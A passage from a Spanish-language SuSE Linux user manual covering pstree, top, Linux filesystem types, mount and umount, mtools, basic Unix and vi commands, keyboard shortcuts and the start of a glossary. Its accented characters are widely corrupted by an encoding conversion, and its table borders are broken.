  30998.                            puede|observar|en el salida en pantalla 19.10.4.                                                        *
  30999.  *         ||
  31000.  
  31001.                            ________________________________________________________________________________________________________*
  31002.  *________||
  31003.                            |                                                                                                       *
  31004.  *         |
  31005.                            |    init-+-bash---startx---xinit-+-X                                                                   *
  31006.  *         |
  31007.                            |                                                                                                       *
  31008.  *         |
  31009.                            |            |                                        `-sh---fvwm-+-FvwmPager                           *
  31010.  *         |
  31011.                            |            |                                                            |-FvwmWinList                 *
  31012.  *         |
  31013.                            |                                                                                                       *
  31014.  *         |
  31015.                            |            |                                                            |-GoodStuff                   *
  31016.  *         |
  31017.                            |            |                                                            |-xclock                      *
  31018.  *         |
  31019.                            |                                                                                                       *
  31020.  *         |
  31021.                            |            |                                                            `-xeyes                       *
  31022.  *         |
  31023.                            |            |-color_xterm---bash---xdvi.bin---gs                                                       *
  31024.  *         |
  31025.                            |                                                                                                       *
  31026.  *         |
  31027.                            |            |-2*[color_xterm---bash---vi]                                                              *
  31028.  *         |
  31029.                            |            |-color_xterm---bash---pstree                                                              *
  31030.  *         |
  31031.                            |            |-coolmail---coolmail---xterm---pine                                                       *
  31032.  *         |
  31033.                            |                                                                                                       *
  31034.  *         |
  31035.                            |            |-cron                                                                                     *
  31036.  *         |
  31037.                            |            |-gpm                                                                                      *
  31038.  *         |
  31039.                            |                                                                                                       *
  31040.  *         |
  31041.                            |            |-inetd                                                                                    *
  31042.  *         |
  31043.                            |            |-kflushd                                                                                  *
  31044.  *         |
  31045.                            |                                                                                                       *
  31046.  *         |
  31047.                            |            |-klogd                                                                                    *
  31048.  *         |
  31049.                            |            |-kswapd                                                                                   *
  31050.  *         |
  31051.                            |                                                                                                       *
  31052.  *         |
  31053.                            |            |-5*[mingetty]                                                                             *
  31054.  *         |
  31055.                            |            |-4*[nfsiod]                                                                               *
  31056.  *         |
  31057.                            |                                                                                                       *
  31058.  *         |
  31059.                            |            |-sh---master---slipto                                                                     *
  31060.  *         |
  31061.                            |            |-syslogd                                                                                  *
  31062.  *         |
  31063.                            |            |-update                                                                                   *
  31064.  *         |
  31065.                            |                                                                                                       *
  31066.  *         |
  31067.                            |            |-xload                                                                                    *
  31068.  *         |
  31069.                            |            `-xosview                                                                                  *
  31070.  *         |
  31071.                            |                                                                                                       *
  31072.  *         |
  31073.                            |_______________________________________________________________________________________________________*
  31074.  *________ |
  31075.  
  31076.                                       Mensaje en pantalla 19.10.4: Respuesta del comando pstree
  31077.  
  31078.  
  31079.  
  31080.                            19.10.9        El comando top
  31081.  
  31082.                            Se muestran todos los procesos que estßn en marcha, la carga del sistema,_etc.
  31083.                            La pantalla se actualiza peri≤dicamente y se puede parar pulsando |q_ |.
  31084.  
  31085.  
  31086.  
  31087.                            19.11         Sistemas de fichero en Linux ~ mount        y umount
  31088.  
  31089.                            Tratar y administrar sistemas de ficheros puede ser un verdadero arte.
  31090.  
  31091.  
  31092.                            19.11.1        Sistemas de ficheros
  31093.  
  31094.                            Linux  soporta  muchos  tipos  de  +  sistema  de  ficheros.   La  tabla  19.8  en  la
  31095.                            pßgina siguiente muestra una selecci≤n de ellos.
  31096.  
  31097.                             _______________________________________________________________________________________________________*
  31098.  *_________
  31099.  
  31100.                               affs              Un  sistema  de  ficheros  usado  en  las  computadoras  Amiga
  31101.                                                 (ingl. Amiga Fast Filesystem).
  31102.  
  31103.                             _______________________________________________________________________________________________________*
  31104.  *_________
  31105.  
  31106.                                                   Tabla 19.8: Contin·a en la pßgina siguiente ...
  31107.  
  31108. 484
  31109.        ________________________________________________19.11.__Sistemas_de_fichero_en_Linux_~_mount______y_umount__________________*
  31110.  *______________________
  31111.  
  31112.        ______________________________________________________________________________________________________________________
  31113.  
  31114.  
  31115.    ext2              (ingl. Second extended Filesystem) El sistema de ficheros es-
  31116.                      tßndar en Linux (+  EXT2.
  31117.    hpfs              Sistema de ficheros estßndar de IBM OS/2  (ingl. High Per-
  31118.                      formance Filesystem). Linux solo soporta accesos de lectura
  31119.                      (ingl. read-only) sobre Θl.
  31120.    iso9660           Sistema de ficheros estßndar en CDROM.
  31121.    minix             Este sistema de ficheros se origina en proyectos de ense±anza
  31122.                      acadΘmicos  y  fue  el  primer  sistema  de  ficheros  que  se  us≤
  31123.                      para Linux.  Hoy en dφa su uso bajo Linux se restringe casi
  31124.                      por completo a los disquetes.
  31125.    msdos             Sistema  de  ficheros  originalmente  usado  por  DOS ,  que  se
  31126.                      usa hasta hoy en dφa para diversos sistemas operativos.
  31127.    ncpfs             Sistema de ficheros para montar vol·menes de Novell.
  31128.    nfs               Con  este  sistema  de  ficheros  los  datos  se  encuentran  en  el
  31129.                      disco duro de otra computadora y se accede a ellos de forma
  31130.                      transparente vφa red (ingl. Network Filesystem).
  31131.    proc              Sistema de ficheros de procesos (virtual).
  31132.    smbfs             SMB (ingl. Server Message Block) es un protocolo que usan
  31133.                      WfW ,  Windows  NT  y  LAN  Manager ,  para  dar  acceso  a
  31134.                      ficheros vφa red.
  31135.    sysv              Sistema de ficheros que usan SCO-Unix , Xenix  y Coherent
  31136.                      (sistemas comerciales de Unix para PC).
  31137.    ufs               Sistema  de  ficheros  usado  por  BSD ,  SunOS  y  NeXTstep ;
  31138.                      Linux solo soporta accesos de lectura (ingl. read-only) sobre
  31139.                      Θl.
  31140.    umsdos            Es  un  sistema  de  ficheros  montado  sobre  uno  del  tipo  fat
  31141.                      normal  (ingl.  Unix  on  MSDOS),  que  consigue  toda  la  fun-
  31142.                      cionalidad de Unix por la generaci≤n de ficheros especiales
  31143.                      que  contienen  la  informaci≤n  sobre  las  autorizaciones,  los
  31144.                      enlaces y los nombres de fichero largos; es muy lento.
  31145.    vfat              Extensi≤n del sistema de ficheros fat    en cuanto a la longitud
  31146.                      de los nombres de fichero (ingl. Virtual FAT ).
  31147.  
  31148.        ______________________________________________________________________________________________________________________
  31149.  
  31150.                            Tabla 19.8: Sistemas de fichero en Linux
  31151. 19.11.2        Montaje y desmontaje de sistemas de ficheros
  31152.  
  31153. El comando mount      sirve para incorporar un medio de datos (disquete, CD-
  31154. ROM) en el sistema de ficheros de Linux. Normalmente solo el superusuario
  31155. `root' puede usar este comando, que necesita dos parßmetros:
  31156.  
  31157.   o   el  nombre  del  medio  (corresponde  con  el  nombre  de  dispositivo,  p. ej.
  31158.       /dev/hda3)
  31159.  
  31160.   o   y un directorio ya existente bajo el cual se incorpora (monta) el medio.
  31161.  
  31162. La  opci≤n  -t  <tipo-de-sistema-de-ficheros>                               indica  el  tipo  de  sis-
  31163. tema de ficheros a montar (ver tabla 19.8).
  31164.  
  31165.  
  31166.                                                                                                                                    *
  31167.  *   485
  31168. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  31169.  *_______________________________________@
  31170.  
  31171.  
  31172.  
  31173.                            En  el  siguiente  ejemplo  se  monta  la  partici≤n  DOS  hda2  en  el  directorio
  31174.                            /dosa:
  31175.                                  tierra:/  #  mount  -t  msdos  /dev/hda2  /dosa
  31176.  
  31177.                            Es necesario generar el directorio /dosa antes del proceso de montaje (ver
  31178.                            apartado 19.6 en la pßgina 472Trabajar con directoriossection.19.6).
  31179.  
  31180.                            Es  muy  aconsejable  apuntar  en  el  fichero  /etc/fstab  todos  los  disposi-
  31181.                            tivos  que  se  montan  con  frecuencia  en  el  mismo  lugar  dentro  del  sistema
  31182.                            de ficheros.  Estos pueden ser la disquetera o lectores CD-ROM; para ello se
  31183.                            puede consultar la pßgina del manual de mount      (man  8  mount        ).
  31184.  
  31185.                            Usando la opci≤n -r  se monta un medio p. ej.  de solo lectura (ingl. read-only),
  31186.                            lo que significa que no se puede escribir sobre Θl mismo.  Otras opciones se
  31187.                            documentan en la pßgina del manual de mount      (man  8  mount        ).
  31188.                            ________________________________________________________________________________________________________*
  31189.  *________
  31190.                            |                                                                                                       *
  31191.  *        |||
  31192.                            |  Si se quiere tener la posibilidad de escribir sobre particiones de DOS co-                           *
  31193.  *        |||
  31194.                            |  mo usuario ''normal'' (no como superusuario `root') se deben consultar                               *
  31195.  *        |||
  31196.                            |                                                                                                       *
  31197.  *        |||
  31198.                            |  los pasos necesarios en http://sdb.suse.de/sdb/en/html/kfr_18.                                       *
  31199.  *        |||
  31200.                            |  html.                                                                                                *
  31201.  *        |||
  31202.                            |_______________________________________________________________________________________________________*
  31203.  *________|||_
  31204.  
  31205.                            mount     protocoliza los sistemas de fichero montados en el fichero /etc/mtab.
  31206.                            Cuando se llama a mount      sin ning·n parßmetro, el contenido de este fichero
  31207.                            sale  en  pantalla,  representando  el  listado  de  todos  los  sistemas  de  ficheros
  31208.                            montados.
  31209.  
  31210.                            Mediante el comando umount       se quita un dispositivo del sistema de fichero
  31211.                            de  Linux  (''desmontar'')7 .   El  parßmetro  para  umount      puede  ser  el  nombre
  31212.                            del  dispositivo  montado  o  el  nombre  del  directorio  bajo  el  cual  estß  mon-
  31213.                            tado.  Para ''desmontar'' p. ej.   /dev/hda2,  montado sobre /dosa,  se puede
  31214.                            introducir:
  31215.  
  31216.                                  tierra:  #  umount  /dosa
  31217.  
  31218.                            o bien:
  31219.  
  31220.                                  tierra:  #  umount  /dev/hda2
  31221.                            ________________________________________________________________________________________________________*
  31222.  *________||
  31223.                            |  Si se ha montado un sistema de ficheros desde un disquete o de otro medio                            *
  31224.  *        ||||
  31225.                            |                                                                                                       *
  31226.  *        |||
  31227.                            |  extraible,  es  importante  ejecutar  el  comando  umount      antes  de  extraer  el                *
  31228.  *        |||
  31229.                            |                                                                                                       *
  31230.  *        |||
  31231.                            |  disquete de la disquetera.                                                                           *
  31232.  *        |||
  31233.                            |  Cuando todavφa hay ficheros abiertos en un dispositivo montado, estos se                             *
  31234.  *        |||
  31235.                            |                                                                                                       *
  31236.  *        |||
  31237.                            |  escriben al medio ejecutando el comando umount     . Si esto no fuera posible,                       *
  31238.  *        |||
  31239.                            |  aparecerφa un mensaje de error.                                                                      *
  31240.  *        |||
  31241.                            |                                                                                                       *
  31242.  *        |||
  31243.                            |  No se puede ''desmontar'' ning·n sistema de ficheros cuando hay todavφa                              *
  31244.  *        |||
  31245.                            |                                                                                                       *
  31246.  *        |||
  31247.                            |  alg·n usuario dentro de alguna rama por debajo del punto de montaje (p. ej.                          *
  31248.  *        |||
  31249.                            |  dentro de una shell).                                                                                *
  31250.  *        |||
  31251.                            |_______________________________________________________________________________________________________*
  31252.  *________|||_
  31253.  
  31254.  
  31255.                            19.12         Comandos DOS bajo Unix usando mtools
  31256.  
  31257.                            Los  mtools  que  se  encuentran  en  el  paquete  mtools,  serie  ap,  existen  es-
  31258.                            pecialmente_para_el_tratamiento_de_ficheros_del_tipo DOS en disquetes o en
  31259.                            7  En realidad el comando se llam≤ unmount    , pero la `n' se perdi≤ en alg·n momento de la
  31260.                            historia de Unix.
  31261.  
  31262.  
  31263. 486
  31264.        ________________________________________________________19.12.__Comandos_DOS_bajo_Unix_usando_mtools________________________*
  31265.  *______________________
  31266.  
  31267.  
  31268.  
  31269. el disco duro.  Cada programa ofrecido trata de emular lo mejor posible su
  31270. contraparte de DOS, usando siempre una `m' por delante del comando, como
  31271. p. ej.  en mcopy     .
  31272.        _______________________________________________________________________________________________________________________||
  31273.  
  31274.        ||||||||  íLos  comandos  del  paquete  mtools  solo  se  deben  usar  si  el  medio  en                 |||            |
  31275.        ||||||||  cuesti≤n no estß montado!                                                                      ||             |
  31276.        ||||||||_______________________________________________________________________________________________________________||_
  31277.  
  31278. Los nombres de fichero de DOS se componen por una letra de unidad seguida
  31279. de dos puntos y un nombre de sub-directorio (opcional) tal como el nombre
  31280. de fichero mismo. Bajo DOS se usa exclusivamente el sφmbolo `\'.
  31281.  
  31282. Los mtools  en Linux permiten el uso de `/' tal como el de `\'.  Usando el
  31283. sφmbolo `\' o +  Wildcards (comodines) como p. ej.  `*' o `?' estos sφmbolos
  31284. deben estar dentro de comillas para que la shell no los interprete antes de que
  31285. lo haga el comando mtools .
  31286.  
  31287. El sencillo asterisco `*' bajo mtools corresponde a la secuencia de caracteres
  31288. `*.*' en DOS. En lugar de la barra `/' de DOS para pasar parßmetros, se
  31289. usa el signo menos `-' como es usual bajo Linux.
  31290.  
  31291. El dispositivo estßndar para los mtools  es la primera disquetera (bajo DOS
  31292. `a:').  mtools       usa el directorio raφz del disquete a:\    como directorio por
  31293. defecto.  Si se quiere usar otro se puede cambiar hacia allφ con el comando
  31294. mcd   . Antes de sacar el disquete de la disquetera se debe recordar de volver al
  31295. directorio raφz del medio, ya que en caso contrario no se podrφa leer ning·n
  31296. nuevo ßrbol de directorios.
  31297.  
  31298. En este momento los mtools  soportan, entre otros, los siguientes comandos
  31299. de DOS:
  31300.        ______________________________________________________________________________________________________________________
  31301.  
  31302.    mattrib             Cambio  de  los  atributos  de  fichero  de  DOS  (hidden      ,
  31303.                        system     , etc.).
  31304.    mcd                 Cambio a otro directorio.
  31305.    mcopy               Copiar de/a DOS y a/de Unix, tambiΘn de forma recursiva.
  31306.                        Hay que indicar siempre el destino.
  31307.    mdel                Borrar un fichero DOS.
  31308.    mdeltree            Borrar un directorio DOS de forma recursiva.
  31309.    mdir                Ver contenido de un directorio DOS.
  31310.    mformat             Generar  un  sistema  de  ficheros  DOS  en  un  disquete  for-
  31311.                        mateado  a  bajo  nivel.  El  formateo  a  bajo  nivel  se  realiza
  31312.                        con fdformat       .
  31313.    mlabel              Cambio de nombre de un medio DOS.
  31314.    mmd                 Generar un subdirectorio de DOS.
  31315.    mrd                 Borrar un subdirectorio de DOS.
  31316.    mread               Lectura de un fichero DOS para un sistema Unix.
  31317.    mren                Cambio de nombre de un fichero DOS existente.
  31318.    mtype               Mostrar el contenido de un fichero DOS.
  31319.    mwrite              Copia  a  bajo  nivel  de  un  fichero  Unix  a  un  sistema  de
  31320.                        ficheros DOS.
  31321.  
  31322.        ______________________________________________________________________________________________________________________
  31323.  
  31324.                          Tabla 19.9: Comandos del paquete mtools
  31325.                                                                                                                                    *
  31326.  *   487
  31327. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  31328.  *_______________________________________@
  31329.  
  31330.  
  31331.  
  31332.                            Se  supone  por  defecto  que  la  disquetera  a:  es  de  3.5-pulgadas,  y  la  de  B:
  31333.                            de 5.25-pulgadas.  En estas disqueteras se soportan los formatos 720 KB y
  31334.                            1.44 MB, asφ como 360 KB y 1.2 MB.
  31335.  
  31336.                            Estos valores por defecto se pueden modificar en el fichero /etc/mtools.
  31337.                            conf. Los apuntes en cada lφnea se detallan de la siguiente manera:
  31338.  
  31339.                              o   Letra de unidad (bajo DOS), p. ej.  a:
  31340.  
  31341.                              o   Nombre de dispositivo (Linux), p. ej.  /dev/fd0
  31342.  
  31343.                              o   C≤digo (12 disquetera, 16 disco duro)
  31344.  
  31345.                              o   N·mero de pistas, cabezales y sectores
  31346.  
  31347.                            Modificando  los  parßmetros  se  puede  usar  tambiΘn  dos  disqueteras  de  3.5-
  31348.                            pulgadas.  En cuanto a los demßs parßmetros hay que vigilar que no se usen
  31349.                            dos letras de unidad DOS iguales y tampoco iguales nombres de dispositivo
  31350.                            de Linux.
  31351.  
  31352.  
  31353.  
  31354.                            19.13         Resumen de los comandos de Unix
  31355.  
  31356.                            A continuaci≤n los comandos mßs importantes en resumen (los parßmetros
  31357.                            opcionales se indican en parΘntesis `[]'):
  31358.  
  31359.                             _______________________________________________________________________________________________________*
  31360.  *_________
  31361.  
  31362.                               cd  carp                                        Cambio al subdirectorio carp.
  31363.                               cd  ..                                          Cambio al directorio superior.
  31364.                               cd  /carp                                       Cambio al directorio /carp.
  31365.                               cd  [  ]                                        Cambio al directorio de usuario
  31366.                               cp  fuente  destino                             Copia fuente a destino.
  31367.                               ln  [-s]  relaci≤n  nombre                      Genera  en  el  directorio  actual  el  en-
  31368.                                                                               lace [simb≤lico] nombre, que apunta al
  31369.                                                                               fichero relaci≤n. nombre indica la ra-
  31370.                                                                               ma  en  la  que  se  encuentra  el  fichero,
  31371.                                                                               que realmente se busca en este directo-
  31372.                                                                               rio.   Es  posible  referenciar  los  enlaces
  31373.                                                                               de un sistema de ficheros a otro. Los en-
  31374.                                                                               laces  simb≤licos  permiten  tambiΘn  en-
  31375.                                                                               lazar directorios.
  31376.                               ls  [carp]                                      Listado de todos los ficheros y carpetas
  31377.                                                                               en el directorio carp.
  31378.                               ls  -l  [carp]                                  Listado de todos los ficheros y carpetas
  31379.                                                                               en el directorio carp en forma larga y
  31380.                                                                               explφcita.
  31381.                               ls  -a  [carp]                                  Muestra  tambiΘn  los  ficheros  ocultos
  31382.                                                                               (p. ej.  ~/.xinitrc).
  31383.                               mkdir  nuevacarp                                Genera el directorio nuevacarp.
  31384.                               less  fichero                                   Muestra  un  fichero  por  pßgina  (hacia
  31385.                                                                               adelante con_la tecla ''espacio'' y hacia
  31386.                                                                               atrßs con |b_ |).
  31387.  
  31388.                             _______________________________________________________________________________________________________*
  31389.  *_________
  31390.  
  31391.                                                  Tabla 19.10: Contin·a en la pßgina siguiente ...
  31392. 488
  31393.        ____________________________________________________________________________________________19.14.__Otras_perspectivas______*
  31394.  *______________________
  31395.  
  31396.        ______________________________________________________________________________________________________________________
  31397.  
  31398.  
  31399.    mv  de_fichero  a_fichero                        Mueve un fichero o lo renombra.
  31400.    rm  fichero                                      Borra fichero (ítambiΘn enlaces!).
  31401.    rm  -r  carp                                     Borra el directorio carp recurrente (con
  31402.                                                     sub-directorios).
  31403.    rmdir  carp                                      Borra el directorio carp (si estß vacφo).
  31404.  
  31405.        ______________________________________________________________________________________________________________________
  31406.  
  31407.          Tabla 19.10: Resumen de los comandos mßs importantes de Unix
  31408. La tabla 19.11 menciona algunos comandos para efectuar b·squedas.
  31409.  
  31410.        ______________________________________________________________________________________________________________________
  31411.  
  31412.    find  .    -name  "file"                       Busca file en todos los sub-directorios
  31413.                                                   del directorio actual.
  31414.    find  .    -name  "*pepe*"                     Busca todos los ficheros que contienen la
  31415.                                                   cadena de caracteres `pepe'.
  31416.    man  comando                                   Explica comando       .
  31417.    grep  muestra  ficheros                        Busca en todos los ficheros la `mues-
  31418.                                                   tra'   indicada,    que   puede   contener
  31419.                                                   tambiΘn   ''expresiones   regulares''   (ver
  31420.                                                   apartado  19.7.2  en  la  pßgina  474Wild-
  31421.                                                   cards  ~  Comodinessubsection.19.7.2  o
  31422.                                                   man  regexp        ).
  31423.  
  31424.        ______________________________________________________________________________________________________________________
  31425.  
  31426.                     Tabla 19.11: Resumen de comandos de b·squeda
  31427.  
  31428. 19.14         Otras perspectivas
  31429.  
  31430.  
  31431. Los directorios generales con la mayorφa de ficheros ejecutables bajo Linux
  31432. son:
  31433.  
  31434.  
  31435.   o   /bin
  31436.  
  31437.   o   /sbin
  31438.  
  31439.   o   /usr/bin
  31440.  
  31441.   o   /usr/sbin
  31442.  
  31443.   o   /usr/X11R6/bin
  31444.  
  31445.  
  31446. y contienen muchos comandos adicionales.
  31447.  
  31448. Usando man  <comando>              se puede obtener informaci≤n detallada sobre los
  31449. comandos y programas disponibles, si la Manual-Page correspondiente existe
  31450. (ver apartado 19.9 en la pßgina 480Manual-Pagessection.19.9).  Las explica-
  31451. ciones aparecen entonces en el dispositivo estßndar de salida (generalmente
  31452. el monitor).
  31453.  
  31454.  
  31455.                                                                                                                                    *
  31456.  *   489
  31457. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  31458.  *_______________________________________@
  31459.  
  31460.  
  31461.  
  31462.                            Usando Pipes en la lφnea de comando de la shell, se pueden enviar estas lφneas
  31463.                            directamente a una impresora o a un fichero.  Los Pipes se simbolizan con el
  31464.                            carßcter `|'.
  31465.  
  31466.                            Un ejemplo:
  31467.  
  31468.                            Para imprimir la Manual-Page acerca del comando ls  , se teclea lo siguiente:
  31469.  
  31470.                                  tux@tierra:  >  man  -t  ls  |  lpr
  31471.  
  31472.                            Para  acceder  a  las  Manual-Pages  por  temas  es  posible  usar  el  sistema  de
  31473.                            ayuda  a  base  de  hipertexto  del  sistema  SuSE     Linux.   Se  inicia  tecleando
  31474.                            simplemente  hilfe     o  susehelp        y  se  tendrß  la  posibilidad  de  acceder  a  la
  31475.                            ayuda  c≤modamente  y  de  seguir  la  referencias  cruzadas  entre  las  Manual-
  31476.                            Pages.
  31477.  
  31478.  
  31479.  
  31480. 490
  31481.        _______________________________________________________________________________________________________19.15.__El_editor_vi_*
  31482.  *______________________
  31483.  
  31484.  
  31485.  
  31486. 19.15         El editor vi
  31487. Aunque el editor vi   es un poco complejo y por tanto su uso exige una cierta
  31488.  
  31489. prßctica, se explican aquφ algunos detalles sobre estΘ, ya que estß presente en
  31490. todos los sistemas que se parecen a UNIX. vi   forma parte de la instalaci≤n
  31491. estßndar  de  Linux  y  los  comandos  para  su  uso  no  dan  lugar  a  dudas,  lo
  31492. que evita equivocaciones.  Ademßs, muchas veces ocurre que cuando ya no
  31493. funciona nada, vi   sφ que funciona.
  31494.  
  31495. La siguiente explicaci≤n corta permite editar p. ej.  ficheros de configuraci≤n
  31496. diversos con el editor vi  .
  31497.  
  31498. El concepto:
  31499.  
  31500. El editor vi   conoce tres modus operandi:
  31501.  
  31502.   o   Modo de comando (ingl. command mode)
  31503.  
  31504.       Cada tecla pulsada se entiende como parte de un comando.
  31505.  
  31506.   o   Modo de inserci≤n (ingl. insert mode)
  31507.  
  31508.       Las teclas pulsadas se entienden como letras a introducir en el texto.
  31509.  
  31510.   o   Modo de comandos complejos (ingl. last line mode)
  31511.  
  31512.       Sirve para introducir comandos complejos que se editan en la ·ltima lφnea.
  31513.  
  31514. A  continuaci≤n  se  encuentran  los  comandos  mßs  importantes  del  modo  de
  31515. comando:
  31516.        ______________________________________________________________________________________________________________________
  31517.  
  31518.    i       Cambia  al  modo  de  inserci≤n  (Los  caracteres  se  introducen  en  la
  31519.            posici≤n actual del cursor.
  31520.    a       Cambia al modo de inserci≤n (Los caracteres se introducen detrßs
  31521.            de la posici≤n actual del cursor.
  31522.    A       Cambia al modo de inserci≤n (Los caracteres se a±aden al final de
  31523.            la lφnea.
  31524.    R       Cambia al modo de inserci≤n y sobreescribe el texto antiguo.
  31525.    r       Cambia al modo de inserci≤n para sobreescribir una sola letra.
  31526.    s       Cambia al modo de inserci≤n sobreescribiendo el carßcter por de-
  31527.            bajo del cursor con la letra introducida.
  31528.    C       Cambia al modo de inserci≤n reemplazando el resto de la lφnea por
  31529.            el texto nuevo.
  31530.    o       Cambia al modo de inserci≤n introduciendo una lφnea nueva detrßs
  31531.            de la lφnea actual.
  31532.    O       Cambia  al  modo  de  inserci≤n  introduciendo  una  lφnea  nueva  por
  31533.            delante de la lφnea actual.
  31534.    x       Borra el carßcter actual.
  31535.    dd      Borra la lφnea actual.
  31536.    dw      Borra hasta el final de la palabra actual.
  31537.    cw      Cambia al modo de inserci≤n sobreescribiendo el resto de la palabra
  31538.            actual con las letras insertadas.
  31539.    u       Deshace el ·ltimo comando.
  31540.  
  31541.        ______________________________________________________________________________________________________________________
  31542.  
  31543.                       Tabla 19.12: Contin·a en la pßgina siguiente ...
  31544.  
  31545.                                                                                                                                    *
  31546.  *   491
  31547. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  31548.  *_______________________________________@
  31549.  
  31550.                             _______________________________________________________________________________________________________*
  31551.  *_________
  31552.  
  31553.  
  31554.                               J       A±ade la siguiente lφnea a la actual.
  31555.                               .       Repite el ·ltimo comando.
  31556.                               :       Cambia al modo de comandos complejos.
  31557.  
  31558.                             _______________________________________________________________________________________________________*
  31559.  *_________
  31560.  
  31561.                                                   Tabla 19.12: Comandos simples del editor vi
  31562.                            Antes de introducir todos los comandos se puede a±adir una cifra, que indica
  31563.                            la cantidad de objetos susceptibles a la modificaci≤n.  Asφ se pueden borrar
  31564.                            p. ej.  3 palabras simultaneamente, introduciendo el comando `3dw'.  Teclear
  31565.                            `10x' sirve para borrar diez caracteres desde la posici≤n del cursor tal como
  31566.                            `20dd' borra 20 lφneas.
  31567.  
  31568.                            Los comandos mßs importantes del modo de comandos complejos son:
  31569.  
  31570.                             _______________________________________________________________________________________________________*
  31571.  *_________
  31572.  
  31573.                               :q!                                        Salir de vi , sin grabar modificaciones.
  31574.                               :w  <nombre_fichero>                       Graba el fichero en <dateiname>.
  31575.                               :x                                         Graba el fichero modificado y sale del edi-
  31576.                                                                          tor.
  31577.                               :e  <nombre_fichero>                       Carga <nombre`fichero> para su edici≤n
  31578.                               :u                                         Deshace el ·ltimo comando de edici≤n
  31579.  
  31580.                             _______________________________________________________________________________________________________*
  31581.  *_________
  31582.  
  31583.                                                 Tabla 19.13: Comandos complejos del editor vi
  31584.                            Para llegar desde_el modo de inserci≤n al modo de comandos complejos hay
  31585.                            que pulsar |E____S|C.
  31586.  
  31587.  
  31588. 492
  31589.  
  31590.                                                                                                       ApΘndice  A
  31591. Teclas   y   combinaciones   importantes
  31592.  
  31593.  
  31594. A continuaci≤n se presenta el resumen de algunas teclas o combinaciones de
  31595. teclas importantes.
  31596.  
  31597.        _______________________________________________________________________________________________________________________
  31598.  
  31599.        |||||__
  31600.     _- ___|___                               Ejecutar un comando en la lφnea de coman-
  31601.                                              dos o retorno de carro.
  31602.     Alt||||||__+|F___|_1-|F___|_6            Cambiar a otra consola en modo texto.
  31603.        |||||____     ____      ___     ___
  31604.     Ctr____|____l+ |A____l|t+|F___|1-|F___|6 Cambiar  a  otra  consola  bajo  el  sistema
  31605.                                              X Window o el emulador de DOS.
  31606.     Alt||||||__+ |F___|_7                    Regresar a los X.
  31607.        |||||____          ____
  31608.     Ctr____|____l+______| ____A|lt   +       Finalizar los X.
  31609.     Bac|||||_______|____kspace
  31610.        |||||_________      _________
  31611.     Shi_________|____ft+ *|_________|Re  Pßg Mostrar  pantallas  anteriores  de  la  consola.
  31612.                                              Funciona hasta el pr≤ximo cambio de con-
  31613.                                              sola.
  31614.     Shi|||||____|_____ft+ *|_________|_Av  PßgInversi≤n de |S___________|_hift+|*_________|_Re. Pßg
  31615.        |||||_
  31616.     "  ||__                                  Muestra en la lφnea de comandos el coman-
  31617.                                              do anterior.
  31618.     #  ||||||__                              Inversi≤n de |"__|.
  31619.        |||||_________         ____
  31620.     Shi_________|____ft+_*   |____A|lt  +    Bajo  el  sistema  X  Window:   Cambio  a  la
  31621.     Cur|||||__|____sor                       ventana  mßs  cercana  del  escritorio  virtual
  31622.  
  31623.                                              en  la  direcci≤n  de  la  flecha.   La  cantidad
  31624.                                              de ventanas a disposici≤n se determina en el
  31625.                                              fichero .fvwm[2]rc          mediante el parßmetro
  31626.                                              DeskTopSize          .
  31627.     Ctr||||||____l+|A_____|lt+| ____________|(gris)Modifica  la  resoluci≤n  de  la  pantalla  en  el
  31628.  
  31629.                                              orden  de  las  entradas  hechas  en  el  fichero
  31630.                                              /etc/XF86Config.
  31631.     Ctr||||||____l+ |D__|                    Logout.   Equivale  al  comando  exit   .   Con
  31632.  
  31633.                                              ignoreeof=x           se  puede  indicar  en  /etc/
  31634.                                              profile  la  cantidad  de  repeticiones  nece-
  31635.                                              sarias (=x ) para que el comando sea acepta-
  31636.                                              do.
  31637.  
  31638.        _______________________________________________________________________________________________________________________
  31639.  
  31640.                                                 Tabla A.1:
  31641.  
  31642.  
  31643.  
  31644.                                                                                                                                    *
  31645.  *   493
  31646. A.  Teclas y combinaciones_importantes_____________________________________________________________________________________________*
  31647.  *_______________________________________@
  31648.  
  31649. 494
  31650.  
  31651.                                                                                                       ApΘndice  B
  31652.                                                                                                           Glosario
  31653.  
  31654.  
  31655. Este glosario esta limitado a tΘrminos o abreviaciones especφficas de UNIX
  31656. o Linux, ya que la cantidad de tΘrminos existentes en la informßtica es muy
  31657. grande.  Por eso se deberφan conocer ya, tΘrminos como bit y byte, por ejem-
  31658. plo.
  31659.  
  31660.  
  31661.   Acr≤nimo
  31662.       Las abreviaciones que se pueden pronunciar como una palabra se denom-
  31663.       inan acr≤nimos. +  Linux, +  GNU y +  RAM son acr≤nimos conocidos.
  31664.  
  31665.   Administrador de sistema (ingl. system administrator, root user)
  31666.       Es la persona encargada de mantener y configurar un sistema complejo
  31667.       de  computadoras  o  una  red.   El  administrador  de  sistema  (`root')  es
  31668.       normalmente  la  ·nica  persona  con  acceso  a  todas  las  posibilidades  de
  31669.       configuraci≤n de una computadora.
  31670.  
  31671.   Alias
  31672.       El tΘrmino alias se usa generalmente en combinaci≤n con la +  Shell.  Un
  31673.       alias permite abreviar comandos que se usan con frecuencia o que simple-
  31674.       mente son muy largos.  Para usar alias consulte el apartado sobre el uso
  31675.       de la shell.
  31676.  
  31677.   Anfitri≤n (ingl. Host)
  31678.       El anfitri≤n es la computadora a la que se conecta en concepto de recibir
  31679.       servicios de ella. Muchas veces es equivalente a un servidor, pero siempre
  31680.       depende desde donde se conecta.
  31681.  
  31682.   Arrancar (ingl. Boot(ing))
  31683.       Se denomina asφ a todo el proceso de inicio de la computadora, desde el
  31684.       momento de encender la mßquina hasta que el usuario la pueda usar.  En
  31685.       el caso de Linux es la inicializaci≤n del kernel y el inicio de los servicios.
  31686.       Esto comienza con el mensaje `uncompressing  linux...'  y termina
  31687.       con la petici≤n de entrada al sistema `login:'
  31688.  
  31689.   ASCII
  31690.       American Standard Code for Information Interchange.  Conjunto de nor-
  31691.       mas de codificaci≤n de caracteres mediante caracteres numΘricos, de am-
  31692.       plia utilizaci≤n en informßtica y telecomunicaciones.
  31693.  
  31694.   ATAPI
  31695.       ATAPI  es  un  protocolo  de  comunicaci≤n  para  acceder  a  dispositivos
  31696.       conectados a una controladora (E)IDE. Los Lectores CD-ROM con dicha
  31697.  
  31698.  
  31699.                                                                                                                                    *
  31700.  *   495
  31701. B.  Glosario      _________________________________________________________________________________________________________________*
  31702.  *_______________________________________@
  31703.  
  31704.  
  31705.  
